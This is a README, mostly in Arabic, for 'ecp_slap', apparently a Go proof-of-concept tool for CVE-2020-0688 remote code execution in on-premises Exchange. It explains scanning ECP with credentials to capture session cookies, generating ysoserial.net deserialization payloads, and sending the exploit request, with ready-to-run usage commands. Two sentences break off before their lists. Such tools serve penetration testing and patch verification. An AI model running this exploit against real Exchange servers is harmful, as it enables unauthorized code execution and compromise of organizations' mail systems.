
CVE-2020-0688 PoC
هذا الكود هو إثبات مفهوم (PoC) لثغرة CVE-2020-0688 ويتضمن وظائف لفحص واستغلال مثيل Exchange المحلي (on-prem) الضعيف.
scan - توفير بيانات الاعتماد ومعلومات الهدف للحصول على ملفات تعريف الارتباط المطلوبة للاستغلال وحفظها في ملف 'cookies.txt'. كما يتحقق من تعرّض خدمة لوحة تحكم Exchange (ECP) الخاصة بخادم Exchange المستهدف، ويحاول المصادقة على هذه الخدمة، ويتحقق من تطابق قيمة VIEWSTATEGENERATOR المناسبة. إذا نجحت المصادقة، فسيتم عرض قيمة ملف تعريف ارتباط الجلسة لإنشاء الحمولة المسلسلة.
generate - تقديم قيمة ملف تعريف ارتباط الجلسة التي تم الحصول عليها من وظيفة 'scan'، بالإضافة إلى أمر لتنفيذ الأكواد. سيؤدي هذا إلى تنسيق إدخالك لـ ysoserial.net لتوليد حمولة مسلسلة لتنفيذ الأكواد. احفظ مخرجات ysoserial في ملف مثل 'payload.txt'.
exploit - يأخذ محتوى ملف ملفات تعريف الارتباط الذي تم الحصول عليه باستخدام وظيفة 'scan' مع مصادقة ناجحة، ويقوم بترميز محتوى ملف الحمولة بترميز URL. ينفّذ الاستغلال الطلب المصادق عليه المناسب لتحفيز تنفيذ الأكواد ضد مثيلات Exchange المحلية الضعيفة.
$./ecp_slap
scan - Scan an Exchange host and obtain cookies needed for exploitation:
./ecp_slap scan -t 10.1.1.5 -d corp.local -u admin -p badpassword
./ecp_slap scan -t mail.corp.com -d CORP -u admin -p badpassword
generate - Generate the ysoserial.net command for payload creation:
./ecp_slap generate -s [ASP.NET_SessionId] -c [COMMAND]
./ecp_slap generate -s 81c35474-6a73-4a1c-af45-b3985e7d7ad1 -c "echo test > C:/temp/test.txt"
exploit - Exploitation of a vulnerable Exchange server:
./ecp_slap exploit -t 192.168.5.22 -c cookies.txt -p payload.txt
./ecp_slap exploit -t mail.corp.com -c cookies.txt -p payload.txt
إذا تحققت من أن إصدار Exchange المحلي الذي تحاول استغلاله:
ولكنك ما زلت غير قادر على التحقق من نجاح تنفيذ الأكواد، ففكر في تنفيذ أوامر بسيطة لتقييم ما إذا كان تنفيذ الأكواد يعمل، مثل:
ابدأ بـ النشرة الأمنية من MSRC والتي تتضمن تفاصيل حول التصحيحات والإصدارات الضعيفة من Exchange المحلي. سيساعد الربط بين التصحيحات وأرقام إصدارات Exchange من Microsoft في تحديد مدى الثغرة. لإعادة إنتاج استغلال هذه الثغرة يدوياً، تابع شرح ZDI الرائع.
إذا اخترت تجميع هذا المشروع من المصدر، بدلاً من الحصول على الإصدار المُجمَّع، فغالباً ما يكون إعداد بيئة Go سهلاً مثل تثبيت GoLang وتعيين متغير البيئة المناسب. الخطوات اللازمة لذلك موثقة هنا.